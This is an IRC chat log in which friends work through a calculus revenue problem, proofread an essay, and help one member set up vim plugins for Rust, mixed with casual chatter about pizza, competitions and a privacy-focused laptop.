[2014-11-21T23:02:46-0500] <Tamini> wow awe
[2014-11-21T23:02:55-0500] <bob_twinkles> LittleBobbyTables: I think anyway, I might have screwed up the setup =P
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[2014-11-21T23:04:01-0500] <+LittleBobbyTables> Dude who has no idea what he's doing: $205?
[2014-11-21T23:04:01-0500] <+LittleBobbyTables> OP: Too small
[2014-11-21T23:04:34-0500] <bob_twinkles> how sure is he that his answers are correct?
[2014-11-21T23:04:45-0500] <+LittleBobbyTables> That's a good question
[2014-11-21T23:04:56-0500] <+LittleBobbyTables> He's saying the answer is $250
[2014-11-21T23:06:34-0500] <Tamini> lol
[2014-11-21T23:06:40-0500] <Tamini> how much does he know what hes doing
[2014-11-21T23:06:59-0500] <+LittleBobbyTables> He's taking the class for it now
[2014-11-21T23:07:05-0500] <+LittleBobbyTables> These two questions I asked were his test questions
[2014-11-21T23:07:35-0500] <bob_twinkles> has he gotten the test back yet?
[2014-11-21T23:08:18-0500] <bob_twinkles> 'cause I'm like 90% sure that $200 is correct...
[2014-11-21T23:08:22-0500] <+LittleBobbyTables> Don't think so
[2014-11-21T23:08:58-0500] <+LittleBobbyTables> To the test back, that is.
[2014-11-21T23:09:08-0500] <bob_twinkles> the expression for amount of money brought in is going to be (p * (10(p-400) + 1000))
[2014-11-21T23:09:20-0500] <bob_twinkles> and the maximum of that is at p = 200
[2014-11-21T23:09:55-0500] <bob_twinkles> err, 400 - p
[2014-11-21T23:09:58-0500] <bob_twinkles> not p - 400
[2014-11-21T23:11:12-0500] <+LittleBobbyTables> They're saying it's 250 still lol
[2014-11-21T23:11:36-0500] <+LittleBobbyTables> Which might be right
[2014-11-21T23:12:02-0500] <+LittleBobbyTables> Yeah
[2014-11-21T23:13:02-0500] <+LittleBobbyTables> 625000>600000
[2014-11-21T23:13:50-0500] <bob_twinkles> ????
[2014-11-21T23:14:13-0500] <bob_twinkles> you're maximizing revenue which is given by ^
[2014-11-21T23:14:28-0500] <~awe> Yo, guys.
[2014-11-21T23:14:36-0500] <+LittleBobbyTables> The max isn't at 200 though
[2014-11-21T23:14:37-0500] <~awe> I'm writing the conclusion to this essay now.
[2014-11-21T23:14:43-0500] <Tamini> okay, in my room now
[2014-11-21T23:14:48-0500] <~awe> So, somebody volunteer as tribute to proofread this fecal matter.
[2014-11-21T23:14:49-0500] <Tamini> i can actually discuss math now >.>
[2014-11-21T23:14:59-0500] <+LittleBobbyTables> http://www.wolframalpha.com/input/?i=Maximize[%28p+*+%2810%28400-p%29+%2B+1000%29%29]
[2014-11-21T23:15:01-0500] <bob_twinkles> Tamini: help derivatives are hard
[2014-11-21T23:15:46-0500] <Tamini> uhh
[2014-11-21T23:15:53-0500] <Tamini> derivatives are pretty hard
[2014-11-21T23:16:06-0500] <+LittleBobbyTables> Walk through the steps you did, bob_twinkles.
[2014-11-21T23:16:10-0500] <+LittleBobbyTables> I'll tell you where you went wrong?
[2014-11-21T23:16:24-0500] <~awe> Oh, great.
[2014-11-21T23:16:30-0500] <~awe> I just heard Tamini volunteer to do it.
[2014-11-21T23:16:32-0500] <Tamini> did you screw up calculus bob_twinkles
[2014-11-21T23:16:33-0500] <~awe> Thanks, Tamini.
[2014-11-21T23:16:38-0500] <Tamini> should i be concerned
[2014-11-21T23:16:41-0500] <Tamini> awe: ?
[2014-11-21T23:16:49-0500] <~awe> [23:14:37]  <~awe>	I'm writing the conclusion to this essay now.
[2014-11-21T23:16:49-0500] <~awe> [23:14:48]  <~awe>	So, somebody volunteer as tribute to proofread this fecal matter.
[2014-11-21T23:17:37-0500] <Tamini> oh, i volunteered to math
[2014-11-21T23:17:47-0500] <Tamini> but we can all proofread as a group? :p
[2014-11-21T23:17:51-0500] <~awe> Nope, I just volunteered you to proofread.
[2014-11-21T23:18:03-0500] <~awe> You can volunteer them, too.
[2014-11-21T23:18:07-0500] <Tamini> LOL
[2014-11-21T23:18:10-0500] <Tamini> i volunteer them.
[2014-11-21T23:18:16-0500] <~awe> Okay, just a second.
[2014-11-21T23:18:18-0500] <~awe> Let me finish up.
[2014-11-21T23:18:55-0500] <+LittleBobbyTables> I just had something important come up so I can't help proofread.
[2014-11-21T23:18:56-0500] <Tamini> oki
[2014-11-21T23:18:58-0500] <Tamini> LOL
[2014-11-21T23:19:02-0500] <Tamini> LittleBobbyTables: which is?
[2014-11-21T23:19:07-0500] <+LittleBobbyTables> uhh
[2014-11-21T23:19:10-0500] <Tamini> its friday evening for you
[2014-11-21T23:19:12-0500] <+LittleBobbyTables> A thing... With stuff.
[2014-11-21T23:19:17-0500] <Tamini> you have nothing important psh
[2014-11-21T23:19:19-0500] <~awe> He's lying.
[2014-11-21T23:19:22-0500] <+LittleBobbyTables> Do too.
[2014-11-21T23:19:33-0500] <Tamini> well i uh
[2014-11-21T23:19:35-0500] <+LittleBobbyTables> I have to clean the bathroom
[2014-11-21T23:19:43-0500] <+LittleBobbyTables> Also, TV.
[2014-11-21T23:19:53-0500] <Tamini> can totally go back to this random guy's room and start more gossip
[2014-11-21T23:20:10-0500] <Tamini> i have more important things so i volunteer lbt? :P
[2014-11-21T23:20:12-0500] <Tamini> jk, jk
[2014-11-21T23:22:46-0500] <~awe> https://docs.google.com/document/d/1rXxSXv9aRwg7x8uODHoX07f18GZk76P4po6tH3GDHIg/edit?usp=sharing
[2014-11-21T23:22:48-0500] <~awe> Okay, go!
[2014-11-21T23:22:56-0500] <~awe> Put comments on stuff to change.
[2014-11-21T23:23:02-0500] <~awe> Tamini, LittleBobbyTables
[2014-11-21T23:23:02-0500] <Tamini> uhh
[2014-11-21T23:23:05-0500] <Tamini> phone, tho
[2014-11-21T23:23:11-0500] <~awe> .-.
[2014-11-21T23:23:12-0500] <~awe> pls
[2014-11-21T23:23:14-0500] <~awe> I don't want to fail.
[2014-11-21T23:24:46-0500] <Tamini> i meant
[2014-11-21T23:24:49-0500] <Tamini> i cant put comments
[2014-11-21T23:24:51-0500] <Tamini> i can read
[2014-11-21T23:25:04-0500] <~awe> Why can't you put comments?
[2014-11-21T23:25:07-0500] <Tamini> also pretty sure bob_twinkles is awake and nezorg too
[2014-11-21T23:25:12-0500] <Tamini> can we volunteer them
[2014-11-21T23:25:14-0500] <~awe> yah
[2014-11-21T23:25:16-0500] <~awe> nezorg: gogogogo
[2014-11-21T23:25:18-0500] <~awe> bob_twinkles: gogogo
[2014-11-21T23:25:24-0500] <~awe> nezorg: you got an extra go because go.
[2014-11-21T23:25:29-0500] <Tamini> mobile gdocs is bad
[2014-11-21T23:25:34-0500] <~awe> Tamini: Oh!
[2014-11-21T23:25:39-0500] <~awe> You meant because you're on a phone.
[2014-11-21T23:25:40-0500] <~awe> Okay.
[2014-11-21T23:25:44-0500] <~awe> Yeah, just let me know what to change here then.
[2014-11-21T23:25:47-0500] <Tamini> oki
[2014-11-21T23:26:42-0500] <+LittleBobbyTables> How you know what editor is better: /r/vim, /r/emacs, /r/sublimetext
[2014-11-21T23:26:49-0500] <+LittleBobbyTables> Vim has the most subscribers
[2014-11-21T23:26:58-0500] <~awe> LittleBobbyTables: that doesn't sound like proofreading my essay to me.
[2014-11-21T23:27:03-0500] <~awe> LittleBobbyTables: we can talk about vim all you want afterward.
[2014-11-21T23:27:36-0500] <+LittleBobbyTables> Too late, already doing other things.
[2014-11-21T23:28:03-0500] <~awe> LittleBobbyTables: My favorability rating for you is decreasing. :c
[2014-11-21T23:28:16-0500] <+LittleBobbyTables> I have other homework :(
[2014-11-21T23:29:12-0500] <Tamini> this is so looong
[2014-11-21T23:29:22-0500] <+LittleBobbyTables> twss
[2014-11-21T23:29:37-0500] <Tamini> gimme one sec to actually read carefully
[2014-11-21T23:29:41-0500] <~awe> I'm sorry. :(
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[2014-11-21T23:38:01-0500] <Tamini> darnits ok
[2014-11-21T23:38:05-0500] <Tamini> whydo i have no help here
[2014-11-21T23:41:37-0500] <+LittleBobbyTables> Bye Bye CSGO Pro Scene
[2014-11-21T23:45:22-0500] <~awe> Tamini: just give me some input pls
[2014-11-21T23:45:25-0500] <~awe> Tamini: I only have 10m
[2014-11-21T23:45:36-0500] <Tamini> lol okok
[2014-11-21T23:46:17-0500] <Tamini> While presented as pairs as has thus far been done, the pairs seems intrarelated but distinct, yet the four pieces are indeed very much intertwined, primarily through the race problem. T
[2014-11-21T23:46:21-0500] <Tamini> this sounds super awk
[2014-11-21T23:46:35-0500] <~awe> Okay.
[2014-11-21T23:46:54-0500] <Tamini> also contractions in formal essays aren't great
[2014-11-21T23:47:27-0500] <~awe> Presenting these works as respective pairs, they seem intrarelated but distinct, yet the four pieces are
[2014-11-21T23:47:55-0500] <Tamini> i dont see big things wrong with it
[2014-11-21T23:47:59-0500] <Tamini> and yeah
[2014-11-21T23:48:00-0500] <Tamini> better
[2014-11-21T23:48:29-0500] <~awe> There was a single contraction that I see.
[2014-11-21T23:48:29-0500] <Tamini> also grammar: The New Negro artist is tasked very directly with addressing the issue of race by sharing their own racial experiences with the general public.
[2014-11-21T23:48:33-0500] <Tamini> :P
[2014-11-21T23:48:43-0500] <Tamini> i just noticed one and decided to point it out
[2014-11-21T23:48:47-0500] <~awe> What's the grammatical issue there?
[2014-11-21T23:49:08-0500] <Tamini> uhh
[2014-11-21T23:49:15-0500] <Tamini> singular/plural
[2014-11-21T23:49:35-0500] <~awe> their is singular and plural.
[2014-11-21T23:49:50-0500] <~awe> It's gender-neutral single and gender-neutral plural.
[2014-11-21T23:50:10-0500] <~awe> Okay, well, hopefully this is good.
[2014-11-21T23:51:09-0500] <Tamini> eh okay
[2014-11-21T23:53:19-0500] <~awe> I submitted it.
[2014-11-21T23:53:28-0500] <~awe> Hopefully I can pull a B.
[2014-11-21T23:53:57-0500] <~awe> That's my goal for this class.
[2014-11-21T23:55:54-0500] <~awe> Time to order pizza as a reward.
[2014-11-21T23:57:03-0500] <Tamini> hehe good idea
[2014-11-21T23:57:58-0500] <~awe> Eating a whole pie by myself.
[2014-11-21T23:57:59-0500] <~awe> It's a great idea.
[2014-11-22T00:02:39-0500] <Tamini> yes
[2014-11-22T00:02:43-0500] <Tamini> no issues there
[2014-11-22T00:02:54-0500] <~awe> If they'd pick up the phone, anyway.
[2014-11-22T00:03:24-0500] <Tamini> they arent picking up?
[2014-11-22T00:04:40-0500] <~awe> Nope.
[2014-11-22T00:05:06-0500] <~awe> So, assuming that Gandi.net registers stuff in the French timezone
[2014-11-22T00:05:15-0500] <~awe> awe.io is going to expire in 5 minutes.
[2014-11-22T00:08:30-0500] <+LittleBobbyTables> Snipe it
[2014-11-22T00:12:31-0500] <~awe> Looks like it's not that timezone.
[2014-11-22T00:12:33-0500] <~awe> I dunno.
[2014-11-22T00:12:39-0500] <~awe> I'm super frustrated about this pizza.
[2014-11-22T00:19:07-0500] <~awe> I guess they're closed or something.
[2014-11-22T00:19:12-0500] <~awe> It's been like twenty minutes and no answer.
[2014-11-22T00:20:03-0500] <+LittleBobbyTables> Well it is midnight.
[2014-11-22T00:20:49-0500] <~awe> It's open till 4 am.
[2014-11-22T00:20:54-0500] <~awe> It's supposed to be, anyway.
[2014-11-22T00:20:55-0500] <~awe> I give up.
[2014-11-22T00:20:57-0500] <~awe> I'm ordering Domino's.
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[2014-11-22T00:26:11-0500] <~awe> Okay, Domino's ordered.
[2014-11-22T00:30:03-0500] <+LittleBobbyTables> I need to learn both R perm's
[2014-11-22T00:30:04-0500] <+LittleBobbyTables> :/
[2014-11-22T01:04:11-0500] <~awe> Swag, my pizza is here.
[2014-11-22T01:18:21-0500] <nezorg> awe: eww, domino's
[2014-11-22T01:19:42-0500] <+LittleBobbyTables> >tell someone CS is dominated by hackers
[2014-11-22T01:19:42-0500] <+LittleBobbyTables> >get called stupid because pro's don't hack
[2014-11-22T01:19:42-0500] <+LittleBobbyTables> >prove to him ~50% of the CSGO scene is hacking
[2014-11-22T01:19:42-0500] <+LittleBobbyTables> >get told I'm wrong because BF4 isn't a comp game
[2014-11-22T01:20:11-0500] <+LittleBobbyTables> Yes, because the game that I said I play not being a comp game proves that a different game has no hackers.
[2014-11-22T01:24:57-0500] <~awe> nezorg: There's no Papa John's here, unfortunately. :(
[2014-11-22T01:40:37-0500] <~awe> Guys, I'm bored.
[2014-11-22T01:40:39-0500] <~awe> Entertain me.
[2014-11-22T01:40:52-0500] <~awe> LittleBobbyTables: 
[2014-11-22T01:40:55-0500] <+LittleBobbyTables> no
[2014-11-22T01:40:58-0500] <~awe> pls
[2014-11-22T01:41:02-0500] <+LittleBobbyTables> no
[2014-11-22T01:41:09-0500] <+LittleBobbyTables> I'm busy trying to fix my VM's
[2014-11-22T01:41:59-0500] <+LittleBobbyTables> Tamini: james bob_twinkles nezorg 
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[2014-11-22T02:18:49-0500] <~awe> LittleBobbyTables: it's vim time now.
[2014-11-22T02:19:53-0500] <+LittleBobbyTables> What else do you need?
[2014-11-22T02:20:27-0500] <~awe> When I type :NERD_tree now it says ambiguous use of user-defined command?
[2014-11-22T02:20:53-0500] <~awe> Also, I need a lot of stuff.
[2014-11-22T02:21:00-0500] <~awe> We barely did anything other than install NERD_tree.
[2014-11-22T02:21:25-0500] <+LittleBobbyTables> I thought I told you about syntastic as well, which is your linter.
[2014-11-22T02:21:37-0500] <+LittleBobbyTables> Syntax highlighting is on, correct?
[2014-11-22T02:22:22-0500] <~awe> Yeah.
[2014-11-22T02:22:40-0500] <~awe> You did tell me about syntastic, but it doesn't have anything about installing it without using a plugin manager.
[2014-11-22T02:22:51-0500] <~awe> Also, seriously, why can't I open NERD_tree now?
[2014-11-22T02:23:00-0500] <+LittleBobbyTables> No idea :/
[2014-11-22T02:23:10-0500] <+LittleBobbyTables> Isn't it :NERDTree though?
[2014-11-22T02:23:21-0500] <~awe> Yeah.
[2014-11-22T02:23:23-0500] <~awe> That's why
[2014-11-22T02:23:29-0500] <~awe> I apparently forgotten in the time span of like
[2014-11-22T02:23:31-0500] <~awe> 60s.
[2014-11-22T02:23:35-0500] <+LittleBobbyTables> lol
[2014-11-22T02:24:48-0500] <~awe> Okay.
[2014-11-22T02:24:53-0500] <~awe> So, how do I install syntastic?
[2014-11-22T02:24:57-0500] <~awe> Do I want a plugin manager?
[2014-11-22T02:24:59-0500] <~awe> If so, which one?
[2014-11-22T02:25:00-0500] <~awe> Etc.
[2014-11-22T02:25:11-0500] <~awe> Also, how can I make my background black?
[2014-11-22T02:25:35-0500] <+LittleBobbyTables> :set background=dark
[2014-11-22T02:25:43-0500] <+LittleBobbyTables> See if that helps
[2014-11-22T02:26:06-0500] <~awe> Yeah.
[2014-11-22T02:26:09-0500] <+LittleBobbyTables> Do you know the name of a color scheme you enjoy? If so, try :set scheme <name> or :set color <name>
[2014-11-22T02:26:26-0500] <~awe> Is there a list I can look at?
[2014-11-22T02:26:47-0500] <+LittleBobbyTables> uhhh
[2014-11-22T02:27:01-0500] <+LittleBobbyTables> There's a list in your vimdirectory
[2014-11-22T02:27:12-0500] <+LittleBobbyTables> <vimdir>/color I think?
[2014-11-22T02:27:17-0500] <+LittleBobbyTables> ls <vimdir> :P
[2014-11-22T02:27:18-0500] <~awe> colors.txt
[2014-11-22T02:27:46-0500] <+LittleBobbyTables> That seems right
[2014-11-22T02:27:48-0500] <~awe> Oh, no.
[2014-11-22T02:27:50-0500] <~awe> colors as a folder.
[2014-11-22T02:27:50-0500] <+LittleBobbyTables> No?
[2014-11-22T02:28:26-0500] <+LittleBobbyTables> I remember it says color, don't remember if it's a directory or a txt file. Pretty sure directory, since they're colors.vim
[2014-11-22T02:28:40-0500] <~awe> ??
[2014-11-22T02:28:45-0500] <+LittleBobbyTables> Holdon
[2014-11-22T02:29:16-0500] <~awe> Yeah, $VIMRUNTIME/colors
[2014-11-22T02:29:26-0500] <+LittleBobbyTables> Yeah, should be /colors
[2014-11-22T02:29:53-0500] <+LittleBobbyTables> :colorscheme <scheme> if :set color <scheme> doesn't wor
[2014-11-22T02:30:01-0500] <~awe> Yeah, it's the :colorscheme
[2014-11-22T02:31:53-0500] <~awe> Okay, I found some that I guess I like
[2014-11-22T02:33:10-0500] <~awe> So, I still need syntastic
[2014-11-22T02:33:15-0500] <~awe> and I need Rust syntax highlight
[2014-11-22T02:35:11-0500] <+LittleBobbyTables> Vundle or Patheogen(sp?) for managers
[2014-11-22T02:35:19-0500] <~awe> I don't know.
[2014-11-22T02:35:21-0500] <~awe> You tell me.
[2014-11-22T02:35:28-0500] <~awe> What's good?
[2014-11-22T02:35:32-0500] <~awe> bob_twinkles uses NeoBundle.
[2014-11-22T02:35:35-0500] <~awe> I think.
[2014-11-22T02:36:09-0500] <~awe> Pathogen has instructions in the GH readme for syntastic.
[2014-11-22T02:36:22-0500] <+LittleBobbyTables> https://github.com/wting/rust.vim
[2014-11-22T02:36:28-0500] <~awe> I'll do that, I guess.
[2014-11-22T02:36:30-0500] <+LittleBobbyTables> Has bot Vundle and Pathogen instructions
[2014-11-22T02:36:48-0500] <+LittleBobbyTables> I can't help too much at the moment, since I've been having issues with my VM lately.
[2014-11-22T02:37:20-0500] <+LittleBobbyTables> Make sure you add to your .vimrc
[2014-11-22T02:37:23-0500] <+LittleBobbyTables> filetype on
[2014-11-22T02:37:23-0500] <+LittleBobbyTables> au BufNewFile,BufRead *.rs set filetype=rust
[2014-11-22T02:38:30-0500] <+LittleBobbyTables> Also, always back it up before installing plugins, just in case it completely overwrites it. I've seen that happen for one, before.
[2014-11-22T02:38:41-0500] <~awe> Back up the .vimrc?
[2014-11-22T02:39:14-0500] <+LittleBobbyTables> Yeah
[2014-11-22T02:39:38-0500] <+LittleBobbyTables> Just do something like cp .vimrc .vimrcback
[2014-11-22T02:39:42-0500] <~awe> Yeah, I did.
[2014-11-22T02:40:01-0500] <~awe> Okay, so, I've got that.
[2014-11-22T02:40:24-0500] <~awe> Can I do something like how CMD+B is Make but with cargo build?
[2014-11-22T02:40:56-0500] <~awe> Also, can I get a keybind for NERDTree, too?
[2014-11-22T02:41:34-0500] <+LittleBobbyTables> You can do something like map poop command NERDTree
[2014-11-22T02:41:47-0500] <+LittleBobbyTables> I'll have to look up the exact syntax, though.
[2014-11-22T02:42:18-0500] <+LittleBobbyTables> Actually, no
[2014-11-22T02:42:52-0500] <~awe> I just put number in my .vimrc to get line numbers?
[2014-11-22T02:42:56-0500] <+LittleBobbyTables> map poop :NERDTree
[2014-11-22T02:43:02-0500] <+LittleBobbyTables> set number, yeah
[2014-11-22T02:43:23-0500] <+LittleBobbyTables> set ignorecase, smartcase
[2014-11-22T02:43:29-0500] <+LittleBobbyTables> That's useful too, if you ever want to search.
[2014-11-22T02:43:49-0500] <+LittleBobbyTables> When typing just lowercase, it matches case insensitive, but if you add caps, it matches case sensitive.
[2014-11-22T02:44:19-0500] <~awe> Oh, that's cool.
[2014-11-22T02:44:34-0500] <~awe> How does mapping stuff work?
[2014-11-22T02:44:36-0500] <~awe> what do I put for poop?
[2014-11-22T02:45:15-0500] <+LittleBobbyTables> Whatever key you want
[2014-11-22T02:45:34-0500] <~awe> If I want cmd something?
[2014-11-22T02:45:47-0500] <~awe> I guess meta something in more general terms.
[2014-11-22T02:46:10-0500] <+LittleBobbyTables> I don't know what the command thing is called.
[2014-11-22T02:46:23-0500] <+LittleBobbyTables> eg, <C-s>n :NERDTree
[2014-11-22T02:46:26-0500] <+LittleBobbyTables> Command shift n
[2014-11-22T02:46:45-0500] <+LittleBobbyTables> Try :help map-which-keys, see if that works.
[2014-11-22T02:48:21-0500] <+LittleBobbyTables> Check out the vim wiki if you have questions, I'm gonna go to bed.
[2014-11-22T02:48:27-0500] <+LittleBobbyTables> vim.wikia.com
[2014-11-22T02:49:27-0500] <~awe> Real quick uhh...
[2014-11-22T02:49:39-0500] <~awe> Eh, I'll just check the wiki.
[2014-11-22T02:50:04-0500] <+LittleBobbyTables> I have a bit of time
[2014-11-22T02:50:15-0500] <+LittleBobbyTables> Finishing a story on /r/talesfromtechsupport
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[2014-11-22T03:01:21-0500] <~awe> LittleBobbyTables: how do I use syntastic?
[2014-11-22T03:01:33-0500] <~awe> LittleBobbyTables: it's installed, it has the rustc linter, but now what?
[2014-11-22T03:03:04-0500] <+LittleBobbyTables> Q. What happened to the rustc checker?
[2014-11-22T03:03:04-0500] <+LittleBobbyTables> A. It has been included in the Rust compiler package. If you have a recent version of the Rust compiler, the checker should be picked up automatically by syntastic.
[2014-11-22T03:03:16-0500] <~awe> Right.
[2014-11-22T03:03:18-0500] <~awe> I have it.
[2014-11-22T03:03:24-0500] <+LittleBobbyTables> Ok
[2014-11-22T03:03:27-0500] <+LittleBobbyTables> Try
[2014-11-22T03:03:35-0500] <+LittleBobbyTables> Making a really obvious error
[2014-11-22T03:03:37-0500] <~awe> I did.
[2014-11-22T03:03:39-0500] <~awe> Nothing happens.
[2014-11-22T03:03:41-0500] <+LittleBobbyTables> then :w
[2014-11-22T03:04:00-0500] <~awe> Oh, nevermind. Now it is.
[2014-11-22T03:04:11-0500] <+LittleBobbyTables> You have to save the file ^_^
[2014-11-22T03:04:20-0500] <~awe> I was doing that.
[2014-11-22T03:04:22-0500] <~awe> It just wasn't working.
[2014-11-22T03:04:23-0500] <~awe> I dunno.
[2014-11-22T03:04:24-0500] <+LittleBobbyTables> Weird
[2014-11-22T03:04:38-0500] <+LittleBobbyTables> It's cause you're using a Mac
[2014-11-22T03:04:38-0500] <~awe> Okay, so, linting, I has it.
[2014-11-22T03:04:52-0500] <~awe> Now I need travis-ci status
[2014-11-22T03:05:13-0500] <+LittleBobbyTables> .The thing I hate about Vim
[2014-11-22T03:05:20-0500] <+LittleBobbyTables> Is how much it takes to configure to your liking
[2014-11-22T03:05:31-0500] <+LittleBobbyTables> After that, though, it's so fast
[2014-11-22T03:05:53-0500] <+LittleBobbyTables> https://github.com/Keithbsmiley/travis.vim is the most recent Travis Status one I can find
[2014-11-22T03:06:36-0500] <~awe> Yeah, it requires Python though.
[2014-11-22T03:06:40-0500] <~awe> Which I didn't compile with, I don't think.
[2014-11-22T03:06:57-0500] <~awe> I guess I don't really need travis status.
[2014-11-22T03:07:03-0500] <~awe> I get messages on IRC anyway.
[2014-11-22T03:07:06-0500] <~awe> git stuff?
[2014-11-22T03:07:07-0500] <+LittleBobbyTables> Meh. There's probably others.
[2014-11-22T03:07:17-0500] <~awe> It's not a huge thing anyway.
[2014-11-22T03:07:19-0500] <+LittleBobbyTables> Anyway, I really should head to bed.
[2014-11-22T03:07:26-0500] <+LittleBobbyTables> Anything else before I go?
[2014-11-22T03:07:27-0500] <~awe> LittleBobbyTables: what do I do for git stuff?
[2014-11-22T03:07:52-0500] <+LittleBobbyTables> How so?
[2014-11-22T03:07:58-0500] <+LittleBobbyTables> Like a push pull commit?
[2014-11-22T03:08:01-0500] <~awe> Nah.
[2014-11-22T03:08:03-0500] <~awe> Just uhh...
[2014-11-22T03:08:20-0500] <~awe> highlighting in the tree view?
[2014-11-22T03:08:22-0500] <~awe> if that's possible?
[2014-11-22T03:09:03-0500] <+LittleBobbyTables> You may have to play around with the settings of it directly.
[2014-11-22T03:09:12-0500] <+LittleBobbyTables> I don't know where, or how, but yes, it is possible :P
[2014-11-22T03:11:27-0500] <+LittleBobbyTables> That it, awe?
[2014-11-22T03:11:54-0500] <~awe> Uhh...
[2014-11-22T03:11:57-0500] <~awe> Yeah, I guess so.
[2014-11-22T03:12:16-0500] <+LittleBobbyTables> Alright. Play around with some settings and google around
[2014-11-22T03:12:23-0500] <+LittleBobbyTables> If anything, resort to /r/vim
[2014-11-22T03:13:10-0500] <~awe> Thanks to treeview and set hidden
[2014-11-22T03:13:14-0500] <~awe> I actually prefer this to having tabs.
[2014-11-22T03:13:24-0500] <~awe> In Atom, the tabs were just kind of a mess.
[2014-11-22T03:13:31-0500] <~awe> Most of the time, I used the treeview to open files anyway.
[2014-11-22T03:13:52-0500] <+LittleBobbyTables> Yeah, I know what you mean.
[2014-11-22T03:14:06-0500] <~awe> I have every file of a project open because I never close them (lol)
[2014-11-22T03:14:11-0500] <~awe> The tabs are no longer useful.
[2014-11-22T03:14:13-0500] <~awe> There's like 20 tabs.
[2014-11-22T03:14:25-0500] <+LittleBobbyTables> Also uhh
[2014-11-22T03:14:30-0500] <+LittleBobbyTables> Set bookmarks
[2014-11-22T03:14:32-0500] <~awe> Why?
[2014-11-22T03:14:49-0500] <+LittleBobbyTables> Well, no real need.
[2014-11-22T03:14:53-0500] <+LittleBobbyTables> It just gets faster.
[2014-11-22T03:15:03-0500] <+LittleBobbyTables> :e# or :b# go back to the previously opened buffer.
[2014-11-22T03:15:15-0500] <+LittleBobbyTables> Useful if you're changing a .h and .c at the same time
[2014-11-22T03:16:08-0500] <~awe> I'll map ctrl left and ctrl right.
[2014-11-22T03:16:22-0500] <+LittleBobbyTables> That works.
[2014-11-22T03:16:53-0500] <+LittleBobbyTables> Good night, now. I stayed up half an hour longer than I intended.
[2014-11-22T03:16:56-0500] <~awe> Sorry!
[2014-11-22T03:16:57-0500] <~awe> Good night!
[2014-11-22T03:28:15-0500] <~awe> Okay, so, I can use :! to run command line stuff.
[2014-11-22T03:28:22-0500] <~awe> That's cool.
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[2014-11-22T09:07:40-0500] <Tamini> i cant find friends :<
[2014-11-22T09:09:38-0500] <Tamini> help
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[2014-11-22T12:51:40-0500] <Tamini> i literally
[2014-11-22T12:51:46-0500] <Tamini> obo'd irl
[2014-11-22T12:51:47-0500] <+LittleBobbyTables> literally?
[2014-11-22T12:52:16-0500] <+LittleBobbyTables> How so?
[2014-11-22T12:52:20-0500] <Tamini> uhh
[2014-11-22T12:52:25-0500] <Tamini> math comp
[2014-11-22T12:52:42-0500] <+LittleBobbyTables> What'd you do
[2014-11-22T12:53:04-0500] <sdamashek> Tamini: wait, OBO in a math comp?
[2014-11-22T12:54:29-0500] <Tamini> yes
[2014-11-22T12:54:36-0500] <Tamini> which is bad
[2014-11-22T12:54:43-0500] <sdamashek> u wot
[2014-11-22T12:54:48-0500] <Tamini> literally
[2014-11-22T12:55:07-0500] <nezorg> I have a debate competition right now!
[2014-11-22T12:55:15-0500] <Tamini> i know!
[2014-11-22T12:55:21-0500] <nezorg> ah
[2014-11-22T12:55:42-0500] <+LittleBobbyTables> Are you going to win?
[2014-11-22T12:55:56-0500] <nezorg> probably not!
[2014-11-22T12:56:19-0500] <Tamini> im going to totally
[2014-11-22T12:56:21-0500] <nezorg> I'm not very good, and this my partner's first debate :P
[2014-11-22T12:56:26-0500] <Tamini> send you guys my selfie with apothy
[2014-11-22T12:56:33-0500] <nezorg> okay then
[2014-11-22T12:56:35-0500] <Tamini> and nezorg: you think you're not good at everything
[2014-11-22T12:56:44-0500] <nezorg> true
[2014-11-22T12:57:25-0500] <nezorg> https://twitter.com/search?q=%23FeministHackerBarbie&mode=photos&src=tyah this is awesoms
[2014-11-22T12:57:54-0500] <Tamini> omg <3
[2014-11-22T12:58:03-0500] <Tamini> wait arent you supposed to be like debate
[2014-11-22T12:58:10-0500] <Tamini> what are you doing on twitter
[2014-11-22T12:58:40-0500] <+LittleBobbyTables> "FeministHackerBarbie"
[2014-11-22T13:00:08-0500] <+LittleBobbyTables> I indent using tabs because I'm lazy, and they all autocorrect to 4 spaces anyway
[2014-11-22T13:05:47-0500] <Tamini> i found them
[2014-11-22T13:09:19-0500] <+LittleBobbyTables> Tamini: http://www.cc.com/video-clips/d7j41v/inside-amy-schumer-sandragel
[2014-11-22T13:13:31-0500] <Tamini> uhh cold
[2014-11-22T13:14:18-0500] <+LittleBobbyTables> lol
[2014-11-22T13:20:22-0500] <Tamini> dammit
[2014-11-22T13:20:26-0500] <Tamini> i met ben and alok and jacob
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[2014-11-22T13:24:15-0500] <+LittleBobbyTables> apothy, she's sad she met you
[2014-11-22T13:24:42-0500] <+LittleBobbyTables> 6:20 PM <Tamini> dammit
[2014-11-22T13:24:42-0500] <+LittleBobbyTables> 6:20 PM <Tamini> i met ... alok ...
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[2014-11-22T13:56:01-0500] <~awe> https://www.crowdsupply.com/purism/librem-laptop
[2014-11-22T13:56:02-0500] <~awe> Finally.
[2014-11-22T13:56:05-0500] <~awe> LittleBobbyTables: ^
[2014-11-22T13:59:19-0500] <~awe> nezorg: the #FeministHackerBarbie is pretty sweet
[2014-11-22T14:02:15-0500] <+LittleBobbyTables> Seems shittily overpriced.
[2014-11-22T14:02:41-0500] <+LittleBobbyTables> The parts themselves are in other laptops that have pre-installed things that you're getting for free, and those laptops are cheaper.
[2014-11-22T14:02:53-0500] <+LittleBobbyTables> If you're so concerned about privacy, get one of those for cheaper, and LFS. :/
[2014-11-22T14:03:08-0500] <~awe> Yeah, it's definitely really expensive.
[2014-11-22T14:03:24-0500] <+LittleBobbyTables> There's no point to it, really.
[2014-11-22T14:03:32-0500] <~awe> I love how it's a knock-off MacBook.
[2014-11-22T14:04:06-0500] <+LittleBobbyTables> Sure, it's nice that there's nothing pre-installed, but you can always just reformat yourself and have nothing pre-installed anyway.
[2014-11-22T14:05:12-0500] <~awe> I'd immediately reflash it anyway.
[2014-11-22T14:05:20-0500] <~awe> I'd install Parabola instead of their shitty Ubuntu fork.
[2014-11-22T14:05:36-0500] <+LittleBobbyTables> Why'd you say "Finally." to it, then?
[2014-11-22T14:05:49-0500] <+LittleBobbyTables> It seemed like you're happy that something shitty came out.
[2014-11-22T14:06:30-0500] <~awe> It was uhh...
[2014-11-22T14:06:37-0500] <~awe> A joke.
[2014-11-22T14:06:42-0500] <~awe> I was expecting Jacob to be here.
[2014-11-22T14:06:51-0500] <~awe> I have this long-running joke with him where I pretend to be a FS warrior.
[2014-11-22T14:06:53-0500] <~awe> https://www.dropbox.com/s/lg4773cvcph73pl/Screenshot%202014-11-22%2014.06.23.png?dl=0
[2014-11-22T14:06:58-0500] <~awe> This chart is so misleading.
